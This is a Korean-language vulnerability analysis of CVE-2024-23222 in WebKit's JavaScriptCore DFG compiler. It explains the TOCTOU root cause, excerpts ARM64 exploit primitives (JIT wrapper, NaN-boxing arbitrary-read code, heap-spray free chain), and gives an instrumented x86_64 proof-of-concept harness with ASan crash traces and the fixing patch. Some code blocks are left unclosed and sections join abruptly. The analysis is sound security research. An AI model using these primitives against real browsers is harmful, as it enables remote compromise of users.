반환된 `JSValue`는 보호되지 않습니다. 셀 포인터를 보유하고 있는 경우, 잠금 해제와 호출자가 사용하는 시점 사이에 해당 셀이 해제되는 것을 막을 수 없습니다.

### 2.3 오래된 값에 대한 소비 경로

반환된 `JSValue`는 두 가지 경로로 소비될 수 있습니다. 경합 윈도우를 거쳐 셀이 오래되었거나 유효하지 않게 된 경우, 두 경로 모두 오류가 발생할 수 있습니다.

**경로 A: 컴파일러 스레드의 `freeze()`.** 가장 직접적인 소비자는 `Graph::freeze()`이며, 호출자는 반환된 값에 대해 즉시 이를 호출합니다:```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

셀이 `tryGetConstantProperty()`가 반환된 후 `freeze()`가 실행되기 전에 해제되면 `value.asCell()->structure()`는 use-after-free 상태가 됩니다.

**경로 B: 확장된 윈도우 동안의 GC 마킹.** 연구 빌드에서 컴파일러 스레드는 `tryGetConstantProperty()` 내부에서 속성을 읽은 후 호출자에게 반환하기 전에 raw DFG safepoint에 진입합니다. 이로 인해 메인 스레드는 오래된 셀 값이 컴파일러 측에서 raw 네이티브 로컬로 여전히 존재하는 동안 GC를 실행할 수 있습니다. 현재 Linux x86_64 PoC에서, 신뢰할 수 있게 재현된 크래시는 GC 마킹 중 나중에 발생하며, 여기서 `SlotVisitor`가 결국 힙 참조를 순회하는 동안 유효하지 않은 오래된 셀을 역참조합니다. 현재 크래시 스택은 이후 GC 메커니즘이 오래된 값을 소비함을 증명합니다. 이 자체만으로는 해당 오래된 포인터에 도달한 정확한 컨테이너 슬롯을 증명하지는 않습니다.

### 2.4 호출 지점

DFG 파이프라인의 두 곳에서 `tryGetConstantProperty()`의 결과를 조건 없이 `freeze()`에 전달합니다:

**ByteCodeParser** — 초기 바이트코드에서 DFG-IR로의 낮춤(lowering) 동안:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

**AbstractInterpreter** 내의 세 번째 호출 지점도 `freeze()`를 호출하지만, 반환 값이 `GetterSetter*`인 경우에만 해당합니다:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

`config.g = -NaN` 값은 JIT 계층 사이드 채널 역할을 합니다. `Math.min(-NaN, -NaN)`은 인터프리터와 JIT에서 서로 다른 비트 패턴을 생성하며, `Int32Array` 오버레이를 통해 관찰할 수 있습니다.

**JIT 호출 래퍼.** 7,200회 반복되는 데드 코드 패딩(`if(false)` 내부의 `x += 1;`)이 포함된 `new Function()`이 JIT 코드 영역의 크기를 제어합니다. 실제 코드 경로는 간단한 함수 디스패처입니다:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

**임의 읽기.** 구조를 손상시킨 후, `jitReadFn`은 손상된 butterfly 포인터를 통해 `arr[0]`을 읽은 다음, `5e-324` (`Number.MIN_VALUE`)로 나누어 NaN-boxing을 역으로 변환하고 원시 주소를 추출합니다.```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

체인: `apply()`가 속성 0~8을 읽습니다. 인덱스 8을 읽으면 게터가 실행되어 스프레이 배열들을 해제합니다. 그런 다음 `inlinedFunction`이 `arguments[3]`(이제 해제된 `sprayArrays[3001]`)으로 `jitTrigger`를 호출합니다. JIT 컴파일된 `jitTrigger`는 해제된 메모리를 float64 값으로 해석하고, `/ 5e-324`를 통해 주소를 디코딩한 후 WebAssembly 인스턴스 포인터를 확인하여 임의 읽기/쓰기 프리미티브를 초기화합니다.

### 3.3 ARM64에 특화된 이유

ARM64의 두 가지 특성으로 인해 이 익스플로잇은 x86_64에서 사용할 수 없습니다.

**메모리 순서.** 패치 커밋에 설명된 S1→S2→S3 다중 구조 경합은 ARM64의 약한 메모리 순서에 의존합니다. 메인 스레드가 새 속성 값을 쓰고 새 구조를 설정할 때 ARM64는 해당 저장소를 재정렬할 수 있습니다. 컴파일러 스레드는 새 구조를 관찰할 수 있지만 이전 (오래된) 속성 값을 읽을 수 있습니다. x86_64의 TSO(Total Store Order)는 구조 저장소가 표시되면 속성 쓰기를 포함한 모든 이전 저장소도 표시된다는 것을 보장합니다. 다중 구조 상수 폴딩 경합이 의존하는 특정 메모리 재정렬 메커니즘은 TSO에서는 적용되지 않으며, 이 경합이 x86_64에서 발생하는 것은 관찰되지 않았습니다.

**NaN-박싱 레이아웃.** 이 익스플로잇은 ARM64에서 이중 부동 소수점의 비트 패턴이 NaN-박싱 표현에서 JSC 셀 헤더(구조 ID, 버터플라이 포인터)와 겹친다는 사실을 이용하여 조작된 float64 값을 객체 속성에 씁니다. x86_64 JSC도 동일한 NaN-박싱 방식을 사용하지만, 특정 구조 ID 인코딩과 포인터 레이아웃이 충분히 달라서 ARM64 타입 펀닝 기술이 x86_64에서는 유효한 구조 손상을 일으키지 않습니다.

---

## 4. x86_64에 적용하기

### 4.1 ARM64 공격이 x86_64에서 실패하는 이유

다중 구조 경합은 컴파일러 스레드가 프로파일링된 구조 집합에 {S1, S3}만 포함된 상태에서 중간 구조(S2)에서 속성 값을 읽어야 합니다. x86_64에서 TSO는 이를 방지합니다. `tryGetConstantProperty()`의 셀 잠금이 순서를 제공하며, 잠금이 없더라도 저장소 순서가 일관된 (구조, 값) 쌍을 보장합니다. 컴파일러 스레드가 구조 S1을 보면 S1의 값을 봅니다. S2를 보면 구조 검사가 실패합니다(S2가 집합에 없음). ARM64 약한 순서가 여는 특정 저장소 재정렬 창은 TSO에서는 적용되지 않습니다.

### 4.2 대안: 컴파일 중 해제된 셀

x86_64 개념 증명은 동일한 TOCTOU의 다른 결과를 이용합니다. 컴파일러가 잘못된 구조의 값을 폴딩하도록 하는 대신, 확장된 경합 창을 통해 무효화되는 오래된 셀 값 `JSValue`를 컴파일러가 보유하도록 유발합니다.

시퀀스:

1. `tryGetConstantProperty()`는 셀 잠금 아래에서 셀 값 속성을 읽습니다.
2. 잠금이 해제됩니다. 셀 포인터는 이제 컴파일러 스레드의 네이티브 C++ 스택에 있는 원시 `JSValue`가 됩니다.
3. 메인 스레드가 속성을 대체합니다(`state.val = 0`). 셀에 대한 마지막 JavaScript 참조를 제거합니다.
4. 메인 스레드가 가비지 컬렉션을 트리거합니다.
5. GC는 컴파일러 스레드의 스택을 **스캔하지 않습니다**. DFG 컴파일러 스레드는 `JSLock`을 획득하지 않으므로 GC의 머신 스레드 집합에 등록되지 않습니다.```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.

`state.val`는 대상 셀을 보관합니다. `Object.seal()`는 DFG가 `state`를 알려진 상수로 처리할 수 있도록 구조를 고정합니다.

**프로브 함수.** 동적으로 생성된 함수가 `state.val`을 읽습니다. DFG가 이 함수를 컴파일할 때, 속성 접근을 상수 폴딩하려고 시도하며 `tryGetConstantProperty()`로 들어갑니다:```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

**릴리즈 및 수집.** DFG 컴파일러 스레드가 셀을 읽으면 (계측된 빌드는 여기서 대기), 메인 스레드가 참조를 해제하고 GC를 실행합니다. 실제 하네스 로직은 매개변수화되어 있지만, 기본 작업 형태는 다음과 같습니다:```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

`burnInterpreterRegisters()`는 재귀적 숫자 함수로, 메인 스레드 스택의 인터프리터 레지스터 슬롯을 덮어씁니다. 이를 통해 보수적 스택 스캔이 대상 셀에 대한 오래된 포인터를 발견할 가능성을 줄입니다.

### 5.2 엔진 계측

연구용 빌드는 `DFGGraph.cpp`에 있는 `tryGetConstantProperty()`를 수정합니다. 셀 락이 해제된 후 함수가 반환되기 전에, 계측은 다음을 수행합니다:

1. 선택적으로 시그널 파일을 작성합니다 (JS 측 동기화용; 최상의 현재 구성에서는 비활성화됨).
2. 원시 DFG `Safepoint`에 진입하여 컴파일러 스레드의 `m_rightToRun` 락을 해제합니다. 이렇게 하면 GC가 컴파일러 스레드를 기다리지 않고 진행할 수 있습니다.
3. 구성 가능한 시간(기본값: 500ms) 동안 대기합니다.
4. 깨어난 후 `m_rightToRun`을 다시 획득하고 컴파일 계획이 취소되었는지 확인합니다.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

**플래그 설명:**

| 플래그 | 목적 |
|------|---------|
| `--useConcurrentJIT=true` | 배경 DFG 컴파일 활성화 (레이스에는 두 개의 스레드가 필요함) |
| `--thresholdForOptimizeAfterWarmUp=20` | DFG 티어업 임계값을 낮춰 최소 웜업 후 컴파일 시작 |
| `--thresholdForJITAfterWarmUp=5` | 기본 JIT 임계값 낮춤 |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | FTL이 DFG와 경쟁하지 않도록 방지; 컴파일을 DFG 티어에 유지 |
| `JSC_TGCP_SLEEP_USEC=500000` | 계측된 빌드에서 500ms 레이스 윈도우 |
| `JSC_TGCP_SIGNAL_PATH=''` | 시그널 파일 비활성화 (타이밍 기반 동기화만) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | 큰 격리로 해제된 메모리가 즉시 재사용되는 것을 방지 |

티어링 플래그는 매우 중요합니다. 이것이 없으면 JIT 일정이 충분히 변경되어 컴파일과 메인 스레드 해제가 정렬되지 않습니다.

---

## 6. 충돌 분석

### 6.1 GC 마킹 충돌

주요 재현 가능 충돌은 가비지 컬렉션 중에 GC의 `SlotVisitor`가 오래된 셀을 마킹하려고 할 때 발생합니다. 대표적인 전체 실행은 다음과 같습니다:```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

그 탐색 중 어느 시점에서 `appendHiddenUnbarriered`는 만료된 셀 값을 가진 `JSValue`를 받아
이를 활성 셀로 취급합니다:```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

`loadAndFence`가 쓰레기 `MarkedBlock` 주소(`0x180000008020`)에서 읽기를 수행하여 SEGV를 발생시킵니다.

### 6.2 `freeze()` 충돌 변형

다른 타이밍 조건에서, 동일한 TOCTOU는 DFG 컴파일러 작업자 스레드에서 `freeze()` 경로를 통해 직접 충돌을 발생시킵니다:```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

The `[tgcp] HIT` 라인은 `tryGetConstantProperty()`가 대상 속성을 셀 값으로 성공적으로 상수 폴딩했음을 확인합니다. `RACE` 라인은 컴파일러 스레드가 확장된 윈도우에 진입했음을 보여줍니다. `WAKE` 라인은 스레드가 재개됨을 보여줍니다. ASan 진단은 셀을 "접근 가능"으로 보고합니다. ASan은 단순한 레드존 위반을 감지하지 않지만, 셀의 내부 포인터(구조 ID, `MarkedBlock` 역참조 포인터)가 유효하지 않아 JSC 자체 코드가 이를 사용하려 할 때 충돌이 발생합니다.

---

## 7. Research Instrumentation

### 7.1 What is artificial

연구용 빌드는 `tryGetConstantProperty()`를 세 가지 방식으로 수정합니다:

- 500밀리초 `usleep()`이 경합 윈도우를 넓힙니다. 기본 엔진에는 이곳에 sleep이 없으며, 셀 잠금 해제와 `freeze()` 호출 사이의 자연적 윈도우는 나노초 단위입니다.
- 원시 `Safepoint`가 `Graph`를 `Scannable`로 등록하지 않고 입력됩니다. 프로덕션 세이프포인트(`GraphSafepoint`를 통해)는 `Graph`를 추가하여 GC가 모든 동결된 값을 방문하도록 합니다. 원시 세이프포인트는 아직 동결되지 않은 셀을 GC에서 보이지 않게 만듭니다.
- 환경 변수(`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`)는 sleep 지속 시간과 선택적 시그널 파일을 제어합니다.

### 7.2 What is not artificial

충돌 자체는 수정되지 않은 JSC 코드 경로에서 발생합니다:

- `JSFinalObject::visitChildrenImpl`과 `SlotVisitor::appendHiddenUnbarriered`는 기본 GC 마킹 로직입니다.
- `Graph::freeze()`와 `FrozenValue::freeze()`는 기본 DFG 컴파일러 로직입니다.
- `__asan_poison_memory_region()` 또는 다른 수동 메모리 손상이 사용되지 않습니다.
- 충돌 경로에 "여기서 유효하지 않은 포인터 역참조"라는 명시적 프로브가 삽입되지 않습니다.
- JavaScript 테스트 하니스는 공개 JSC API와 `jsc` 셸 내장 함수(`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`)만 사용합니다.
- DFG 컴파일러 스레드는 실제로 GC에 의해 스캔되지 않습니다. 이는 연구 인공물이 아닌 프로덕션 동작입니다.

### 7.3 Assessment

자연적 경합 윈도우는 x86_64에서 인스트루먼테이션 없이 신뢰할 수 있는 재현을 하기에는 너무 좁습니다. ARM64에서는 약한 메모리 순서가 원래 익스플로잇에 훨씬 더 넓은 자연적 윈도우를 제공합니다. 구조와 값 저장소가 재정렬될 수 있으므로, 컴파일러 스레드는 인위적인 타이밍 지원 없이도 일관되지 않은 상태를 관찰할 수 있습니다.

x86_64에서 가상의 프로덕션 익스플로잇은 중요한 지점에서 컴파일러 스레드를 지연시킬 방법(예: 느린 구조 조회, 경합이 있는 잠금, 또는 `freeze()`를 지연시키는 병리적 그래프 형태)이나 많은 컴파일 시도를 통한 통계적 접근이 필요할 것입니다. 인스트루먼테이션은 그 요구 사항을 결정론적 sleep으로 대체합니다.

---

## 8. The Patch

Yusuke Suzuki가 작성하고 Mark Lam이 검토한 WebKit 커밋 `64714692967ad278155fcae66c5cb0f853b3bf34`가 취약점을 수정합니다.

이 수정은 새로운 클래스 `DesiredObjectProperties`를 도입하며, 이 클래스는 DFG 컴파일러가 속성 로드를 상수 폴딩할 때마다 `(JSObject*, PropertyOffset, JSValue, Structure*)` 튜플을 기록합니다. 컴파일이 완료된 후, `Plan::isStillValidOnMainThread()`는 메인 스레드에서 이러한 속성들을 다시 읽고 기록된 값과 비교합니다. 튜플이 유효하지 않은 경우(객체의 구조가 변경되었거나 속성 값이 다른 경우), 컴파일된 플랜은 실행되기 전에 폐기됩니다.

이는 TOCTOU를 원자적 검사로 변환합니다. 최적화된 코드가 설치되기 전에 동기화 지점(메인 스레드 최종화)에서 컴파일러의 스냅샷이 검증됩니다. `freeze()` UAF는 컴파일 중 여전히 발생할 수 있지만, 결과 코드는 절대 사용되지 않습니다.

다중 구조 집합의 경우, 패치된 `tryGetConstantProperty()`는 `structureSet.size() > 1`이고 모든 구조가 적극적으로 감시되지 않을 때 상수 폴딩을 완전히 거부합니다. 이는 S1→S2→S3 전이적 전환 공격을 근원에서 제거합니다.

---

## 9. Files

| 파일 | 설명 |
|------|-------------|
| `toctou_clean_asan_v2.js` | JavaScript 개념 증명 하니스 |
| `DFGGraph.cpp` | 취약한 함수 (`tryGetConstantProperty`), `freeze()`, 및 연구용 계측 |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — 셀 역참조 지점 |
| `DFGByteCodeParser.cpp` | `weakJSConstant()` 호출 지점 |
| `DFGConstantFoldingPhase.cpp` | `emitGetByOffset()` 호출 지점 |
| `DFGAbstractInterpreterInlines.h` | 추상 인터프리터 호출 지점 |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — GC 마킹 충돌 지점 |
| `MarkedBlock.h` | `aboutToMark()` — SEGV 발생 위치 |
| `JSLock.cpp` | `didAcquireLock()` — DFG 스레드가 GC에 등록되지 않음을 보여줌 |